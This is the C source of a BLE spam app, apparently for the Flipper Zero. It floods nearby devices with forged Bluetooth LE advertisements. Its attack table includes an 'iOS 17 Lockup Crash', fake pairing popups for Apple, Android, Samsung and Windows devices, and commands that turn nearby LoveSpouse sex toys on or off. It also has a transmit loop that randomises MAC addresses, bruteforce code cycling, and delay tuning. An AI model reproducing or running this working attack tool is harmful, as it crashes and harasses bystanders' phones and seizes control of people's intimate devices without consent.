ble_spam.c 24 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <extra_beacon.h>
  5. #include <gui/elements.h>
  6. #include "protocols/_protocols.h"
  7. // Hacked together by @Willy-JL
  8. // Custom adv API by @Willy-JL (idea by @xMasterX)
  9. // iOS 17 Crash by @ECTO-1A
  10. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  11. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  12. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  13. static Attack attacks[] = {
  14. {
  15. .title = "The Kitchen Sink",
  16. .text = "Flood all attacks at once",
  17. .protocol = NULL,
  18. .payload =
  19. {
  20. .random_mac = true,
  21. .cfg = {},
  22. },
  23. },
  24. {
  25. .title = "iOS 17 Lockup Crash",
  26. .text = "Newer iPhones, long range",
  27. .protocol = &protocol_continuity,
  28. .payload =
  29. {
  30. .random_mac = false,
  31. .cfg.continuity =
  32. {
  33. .type = ContinuityTypeCustomCrash,
  34. },
  35. },
  36. },
  37. {
  38. .title = "Apple Action Modal",
  39. .text = "Lock cooldown, long range",
  40. .protocol = &protocol_continuity,
  41. .payload =
  42. {
  43. .random_mac = false,
  44. .cfg.continuity =
  45. {
  46. .type = ContinuityTypeNearbyAction,
  47. },
  48. },
  49. },
  50. {
  51. .title = "Apple Device Popup",
  52. .text = "No cooldown, close range",
  53. .protocol = &protocol_continuity,
  54. .payload =
  55. {
  56. .random_mac = false,
  57. .cfg.continuity =
  58. {
  59. .type = ContinuityTypeProximityPair,
  60. },
  61. },
  62. },
  63. {
  64. .title = "Android Device Connect",
  65. .text = "Reboot cooldown, long range",
  66. .protocol = &protocol_fastpair,
  67. .payload =
  68. {
  69. .random_mac = true,
  70. .cfg.fastpair = {},
  71. },
  72. },
  73. {
  74. .title = "Samsung Buds Popup",
  75. .text = "No cooldown, long range",
  76. .protocol = &protocol_easysetup,
  77. .payload =
  78. {
  79. .random_mac = true,
  80. .cfg.easysetup =
  81. {
  82. .type = EasysetupTypeBuds,
  83. },
  84. },
  85. },
  86. {
  87. .title = "Samsung Watch Pair",
  88. .text = "No cooldown, long range",
  89. .protocol = &protocol_easysetup,
  90. .payload =
  91. {
  92. .random_mac = true,
  93. .cfg.easysetup =
  94. {
  95. .type = EasysetupTypeWatch,
  96. },
  97. },
  98. },
  99. {
  100. .title = "Windows Device Found",
  101. .text = "No cooldown, short range",
  102. .protocol = &protocol_swiftpair,
  103. .payload =
  104. {
  105. .random_mac = true,
  106. .cfg.swiftpair = {},
  107. },
  108. },
  109. {
  110. .title = "Vibrate 'em All",
  111. .text = "Activate all LoveSpouse toys",
  112. .protocol = &protocol_lovespouse,
  113. .payload =
  114. {
  115. .random_mac = true,
  116. .cfg.lovespouse =
  117. {
  118. .state = LovespouseStatePlay,
  119. },
  120. },
  121. },
  122. {
  123. .title = "Denial of Pleasure",
  124. .text = "Disable all LoveSpouse toys",
  125. .protocol = &protocol_lovespouse,
  126. .payload =
  127. {
  128. .random_mac = true,
  129. .cfg.lovespouse =
  130. {
  131. .state = LovespouseStateStop,
  132. },
  133. },
  134. },
  135. };
  136. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  137. static uint16_t delays[] = {20, 50, 100, 200, 500};
  138. typedef struct {
  139. Ctx ctx;
  140. View* main_view;
  141. bool lock_warning;
  142. uint8_t lock_count;
  143. FuriTimer* lock_timer;
  144. // bool resume;
  145. bool advertising;
  146. uint8_t delay;
  147. GapExtraBeaconConfig config;
  148. FuriThread* thread;
  149. int8_t index;
  150. bool ignore_bruteforce;
  151. } State;
  152. const NotificationSequence solid_message = {
  153. &message_red_0,
  154. &message_green_255,
  155. &message_blue_255,
  156. &message_do_not_reset,
  157. &message_delay_10,
  158. NULL,
  159. };
  160. NotificationMessage blink_message = {
  161. .type = NotificationMessageTypeLedBlinkStart,
  162. .data.led_blink.color = LightBlue | LightGreen,
  163. .data.led_blink.on_time = 10,
  164. .data.led_blink.period = 100,
  165. };
  166. const NotificationSequence blink_sequence = {
  167. &blink_message,
  168. &message_do_not_reset,
  169. NULL,
  170. };
  171. static void start_blink(State* state) {
  172. uint16_t period = delays[state->delay];
  173. if(period <= 100) period += 30;
  174. blink_message.data.led_blink.period = period;
  175. notification_message_block(state->ctx.notification, &blink_sequence);
  176. }
  177. static void stop_blink(State* state) {
  178. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  179. }
  180. static int32_t adv_thread(void* _ctx) {
  181. State* state = _ctx;
  182. uint8_t size;
  183. uint16_t delay;
  184. uint8_t* packet;
  185. GapExtraBeaconConfig* config = &state->config;
  186. Payload* payload = &attacks[state->index].payload;
  187. const Protocol* protocol = attacks[state->index].protocol;
  188. if(!payload->random_mac) furi_hal_random_fill_buf(config->address, sizeof(config->address));
  189. if(state->ctx.led_indicator) start_blink(state);
  190. while(state->advertising) {
  191. if(protocol) {
  192. if(payload->mode == PayloadModeBruteforce && payload->bruteforce.counter++ >= 10) {
  193. payload->bruteforce.counter = 0;
  194. payload->bruteforce.value =
  195. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  196. }
  197. protocol->make_packet(&size, &packet, payload);
  198. } else {
  199. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  200. }
  201. delay = delays[state->delay];
  202. config->min_adv_interval_ms = config->max_adv_interval_ms = delay;
  203. if(payload->random_mac) furi_hal_random_fill_buf(config->address, sizeof(config->address));
  204. furi_check(furi_hal_bt_extra_beacon_set_config(config));
  205. furi_check(furi_hal_bt_extra_beacon_set_data(packet, size));
  206. free(packet);
  207. furi_check(furi_hal_bt_extra_beacon_start());
  208. furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
  209. furi_hal_bt_extra_beacon_stop();
  210. }
  211. if(state->ctx.led_indicator) stop_blink(state);
  212. return 0;
  213. }
  214. static void toggle_adv(State* state) {
  215. if(state->advertising) {
  216. state->advertising = false;
  217. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  218. furi_thread_join(state->thread);
  219. // if(state->resume) furi_hal_bt_start_advertising();
  220. } else {
  221. state->advertising = true;
  222. // state->resume = furi_hal_bt_is_active();
  223. // furi_hal_bt_stop_advertising();
  224. furi_thread_start(state->thread);
  225. }
  226. }
  227. #define PAGE_MIN (-5)
  228. #define PAGE_MAX ATTACKS_COUNT
  229. enum {
  230. PageHelpBruteforce = PAGE_MIN,
  231. PageHelpApps,
  232. PageHelpDelay,
  233. PageHelpDistance,
  234. PageHelpInfoConfig,
  235. PageStart = 0,
  236. PageEnd = ATTACKS_COUNT - 1,
  237. PageAboutCredits = PAGE_MAX,
  238. };
  239. static void draw_callback(Canvas* canvas, void* _ctx) {
  240. State* state = *(State**)_ctx;
  241. const char* back = "Back";
  242. const char* next = "Next";
  243. if(state->index < 0) {
  244. back = "Next";
  245. next = "Back";
  246. }
  247. switch(state->index) {
  248. case PageStart - 1:
  249. next = "Spam";
  250. break;
  251. case PageStart:
  252. back = "Help";
  253. break;
  254. case PageEnd:
  255. next = "About";
  256. break;
  257. case PageEnd + 1:
  258. back = "Spam";
  259. break;
  260. }
  261. const Attack* attack =
  262. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  263. const Payload* payload = attack ? &attack->payload : NULL;
  264. const Protocol* protocol = attack ? attack->protocol : NULL;
  265. canvas_set_font(canvas, FontSecondary);
  266. canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
  267. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  268. switch(state->index) {
  269. case PageHelpBruteforce:
  270. canvas_set_font(canvas, FontBatteryPercent);
  271. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  272. elements_text_box(
  273. canvas,
  274. 4,
  275. 16,
  276. 120,
  277. 48,
  278. AlignLeft,
  279. AlignTop,
  280. "\e#Bruteforce\e# cycles codes\n"
  281. "to find popups, hold left and\n"
  282. "right to send manually and\n"
  283. "change delay",
  284. false);
  285. break;
  286. case PageHelpApps:
  287. canvas_set_font(canvas, FontBatteryPercent);
  288. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  289. elements_text_box(
  290. canvas,
  291. 4,
  292. 16,
  293. 120,
  294. 48,
  295. AlignLeft,
  296. AlignTop,
  297. "\e#Some Apps\e# interfere\n"
  298. "with the attacks, stay on\n"
  299. "homescreen for best results",
  300. false);
  301. break;
  302. case PageHelpDelay:
  303. canvas_set_font(canvas, FontBatteryPercent);
  304. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  305. elements_text_box(
  306. canvas,
  307. 4,
  308. 16,
  309. 120,
  310. 48,
  311. AlignLeft,
  312. AlignTop,
  313. "\e#Delay\e# is time between\n"
  314. "attack attempts (top right),\n"
  315. "keep 20ms for best results",
  316. false);
  317. break;
  318. case PageHelpDistance:
  319. canvas_set_font(canvas, FontBatteryPercent);
  320. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  321. elements_text_box(
  322. canvas,
  323. 4,
  324. 16,
  325. 120,
  326. 48,
  327. AlignLeft,
  328. AlignTop,
  329. "\e#Distance\e# varies greatly:\n"
  330. "some are long range (>30 m)\n"
  331. "others are close range (<1 m)",
  332. false);
  333. break;
  334. case PageHelpInfoConfig:
  335. canvas_set_font(canvas, FontBatteryPercent);
  336. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  337. elements_text_box(
  338. canvas,
  339. 4,
  340. 16,
  341. 120,
  342. 48,
  343. AlignLeft,
  344. AlignTop,
  345. "See \e#more info\e# and change\n"
  346. "\e#attack options\e# by holding\n"
  347. "Ok on each attack page",
  348. false);
  349. break;
  350. case PageAboutCredits:
  351. canvas_set_font(canvas, FontBatteryPercent);
  352. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  353. elements_text_box(
  354. canvas,
  355. 4,
  356. 16,
  357. 122,
  358. 48,
  359. AlignLeft,
  360. AlignTop,
  361. "App+Spam: \e#WillyJL\e# XFW\n"
  362. "Apple+Crash: \e#ECTO-1A\e#\n"
  363. "Android+Win: \e#Spooks4576\e#\n"
  364. " Version \e#5.0\e#",
  365. false);
  366. break;
  367. default: {
  368. if(!attack) break;
  369. if(state->ctx.lock_keyboard && !state->advertising) {
  370. // Forgive me Lord for I have sinned by handling state in draw
  371. toggle_adv(state);
  372. }
  373. char str[32];
  374. canvas_set_font(canvas, FontBatteryPercent);
  375. if(payload->mode == PayloadModeBruteforce) {
  376. snprintf(
  377. str,
  378. sizeof(str),
  379. "0x%0*lX",
  380. payload->bruteforce.size * 2,
  381. payload->bruteforce.value);
  382. } else {
  383. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  384. }
  385. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  386. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  387. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  388. canvas_set_font(canvas, FontBatteryPercent);
  389. if(payload->mode == PayloadModeBruteforce) {
  390. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  391. if(delays[state->delay] < 100) {
  392. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  393. } else {
  394. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  395. }
  396. uint16_t w = canvas_string_width(canvas, str);
  397. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  398. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  399. canvas_invert_color(canvas);
  400. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  401. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  402. canvas_invert_color(canvas);
  403. } else {
  404. snprintf(
  405. str,
  406. sizeof(str),
  407. "%02i/%02i: %s",
  408. state->index + 1,
  409. ATTACKS_COUNT,
  410. protocol ? protocol->get_name(payload) : "Everything AND");
  411. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  412. }
  413. canvas_set_font(canvas, FontPrimary);
  414. canvas_draw_str(canvas, 4, 33, attack->title);
  415. canvas_set_font(canvas, FontSecondary);
  416. canvas_draw_str(canvas, 4, 46, attack->text);
  417. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  418. break;
  419. }
  420. }
  421. if(state->index > PAGE_MIN) {
  422. elements_button_left(canvas, back);
  423. }
  424. if(state->index < PAGE_MAX) {
  425. elements_button_right(canvas, next);
  426. }
  427. if(state->lock_warning) {
  428. canvas_set_font(canvas, FontSecondary);
  429. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  430. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  431. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  432. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  433. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  434. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  435. canvas_draw_dot(canvas, 17, 61);
  436. }
  437. }
  438. static bool input_callback(InputEvent* input, void* _ctx) {
  439. View* view = _ctx;
  440. State* state = *(State**)view_get_model(view);
  441. bool consumed = false;
  442. if(state->ctx.lock_keyboard) {
  443. consumed = true;
  444. with_view_model(
  445. state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
  446. if(state->lock_count == 0) {
  447. furi_timer_start(state->lock_timer, 1000);
  448. }
  449. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  450. state->lock_count++;
  451. }
  452. if(state->lock_count >= 3) {
  453. furi_timer_start(state->lock_timer, 1);
  454. }
  455. } else if(
  456. input->type == InputTypeShort || input->type == InputTypeLong ||
  457. input->type == InputTypeRepeat) {
  458. consumed = true;
  459. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  460. Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
  461. bool advertising = state->advertising;
  462. switch(input->key) {
  463. case InputKeyOk:
  464. if(is_attack) {
  465. if(input->type == InputTypeLong) {
  466. if(advertising) toggle_adv(state);
  467. state->ctx.attack = &attacks[state->index];
  468. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  469. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  470. } else if(input->type == InputTypeShort) {
  471. toggle_adv(state);
  472. }
  473. }
  474. break;
  475. case InputKeyUp:
  476. if(is_attack) {
  477. if(payload->mode == PayloadModeBruteforce) {
  478. payload->bruteforce.counter = 0;
  479. payload->bruteforce.value =
  480. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  481. } else if(state->delay < COUNT_OF(delays) - 1) {
  482. state->delay++;
  483. if(advertising) start_blink(state);
  484. }
  485. }
  486. break;
  487. case InputKeyDown:
  488. if(is_attack) {
  489. if(payload->mode == PayloadModeBruteforce) {
  490. payload->bruteforce.counter = 0;
  491. payload->bruteforce.value =
  492. (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
  493. } else if(state->delay > 0) {
  494. state->delay--;
  495. if(advertising) start_blink(state);
  496. }
  497. }
  498. break;
  499. case InputKeyLeft:
  500. if(input->type == InputTypeLong) {
  501. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  502. true;
  503. }
  504. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  505. payload->mode != PayloadModeBruteforce) {
  506. if(state->index > PAGE_MIN) {
  507. if(advertising) toggle_adv(state);
  508. state->index--;
  509. }
  510. } else {
  511. if(!advertising) {
  512. // bool resume = furi_hal_bt_is_active();
  513. // furi_hal_bt_stop_advertising();
  514. GapExtraBeaconConfig* config = &state->config;
  515. Payload* payload = &attacks[state->index].payload;
  516. const Protocol* protocol = attacks[state->index].protocol;
  517. uint8_t size;
  518. uint8_t* packet;
  519. protocol->make_packet(&size, &packet, payload);
  520. uint16_t delay = delays[state->delay];
  521. config->min_adv_interval_ms = config->max_adv_interval_ms = delay;
  522. if(payload->random_mac || input->type == InputTypeLong)
  523. furi_hal_random_fill_buf(config->address, sizeof(config->address));
  524. furi_check(furi_hal_bt_extra_beacon_set_config(config));
  525. furi_check(furi_hal_bt_extra_beacon_set_data(packet, size));
  526. free(packet);
  527. furi_check(furi_hal_bt_extra_beacon_start());
  528. if(state->ctx.led_indicator)
  529. notification_message(state->ctx.notification, &solid_message);
  530. furi_delay_ms(10);
  531. furi_hal_bt_extra_beacon_stop();
  532. if(state->ctx.led_indicator)
  533. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  534. // if(resume) furi_hal_bt_start_advertising();
  535. }
  536. }
  537. break;
  538. case InputKeyRight:
  539. if(input->type == InputTypeLong) {
  540. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  541. true;
  542. }
  543. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  544. payload->mode != PayloadModeBruteforce) {
  545. if(state->index < PAGE_MAX) {
  546. if(advertising) toggle_adv(state);
  547. state->index++;
  548. }
  549. } else if(input->type == InputTypeLong) {
  550. state->delay = (state->delay + 1) % COUNT_OF(delays);
  551. if(advertising) start_blink(state);
  552. }
  553. break;
  554. case InputKeyBack:
  555. if(advertising) toggle_adv(state);
  556. consumed = false;
  557. break;
  558. default:
  559. break;
  560. }
  561. }
  562. view_commit_model(view, consumed);
  563. return consumed;
  564. }
  565. static void lock_timer_callback(void* _ctx) {
  566. State* state = _ctx;
  567. if(state->lock_count < 3) {
  568. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  569. } else {
  570. state->ctx.lock_keyboard = false;
  571. }
  572. with_view_model(
  573. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  574. state->lock_count = 0;
  575. }
  576. static void tick_event_callback(void* _ctx) {
  577. State* state = _ctx;
  578. bool advertising;
  579. with_view_model(
  580. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  581. scene_manager_handle_tick_event(state->ctx.scene_manager);
  582. }
  583. static bool back_event_callback(void* _ctx) {
  584. State* state = _ctx;
  585. return scene_manager_handle_back_event(state->ctx.scene_manager);
  586. }
  587. int32_t ble_spam(void* p) {
  588. UNUSED(p);
  589. State* state = malloc(sizeof(State));
  590. state->config.adv_channel_map = GapAdvChannelMapAll;
  591. state->config.adv_power_level = GapAdvPowerLevel_6dBm;
  592. state->config.address_type = GapAddressTypePublic;
  593. state->thread = furi_thread_alloc();
  594. furi_thread_set_callback(state->thread, adv_thread);
  595. furi_thread_set_context(state->thread, state);
  596. furi_thread_set_stack_size(state->thread, 2048);
  597. state->ctx.led_indicator = true;
  598. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  599. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  600. Gui* gui = furi_record_open(RECORD_GUI);
  601. state->ctx.view_dispatcher = view_dispatcher_alloc();
  602. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  603. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  604. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  605. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  606. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  607. state->main_view = view_alloc();
  608. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  609. with_view_model(
  610. state->main_view, State * *model, { *model = state; }, false);
  611. view_set_context(state->main_view, state->main_view);
  612. view_set_draw_callback(state->main_view, draw_callback);
  613. view_set_input_callback(state->main_view, input_callback);
  614. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  615. state->ctx.byte_input = byte_input_alloc();
  616. view_dispatcher_add_view(
  617. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  618. state->ctx.submenu = submenu_alloc();
  619. view_dispatcher_add_view(
  620. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  621. state->ctx.text_input = text_input_alloc();
  622. view_dispatcher_add_view(
  623. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  624. state->ctx.variable_item_list = variable_item_list_alloc();
  625. view_dispatcher_add_view(
  626. state->ctx.view_dispatcher,
  627. ViewVariableItemList,
  628. variable_item_list_get_view(state->ctx.variable_item_list));
  629. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  630. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  631. view_dispatcher_run(state->ctx.view_dispatcher);
  632. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  633. byte_input_free(state->ctx.byte_input);
  634. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  635. submenu_free(state->ctx.submenu);
  636. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  637. text_input_free(state->ctx.text_input);
  638. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  639. variable_item_list_free(state->ctx.variable_item_list);
  640. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  641. view_free(state->main_view);
  642. scene_manager_free(state->ctx.scene_manager);
  643. view_dispatcher_free(state->ctx.view_dispatcher);
  644. furi_record_close(RECORD_GUI);
  645. furi_record_close(RECORD_NOTIFICATION);
  646. furi_timer_free(state->lock_timer);
  647. furi_thread_free(state->thread);
  648. free(state);
  649. return 0;
  650. }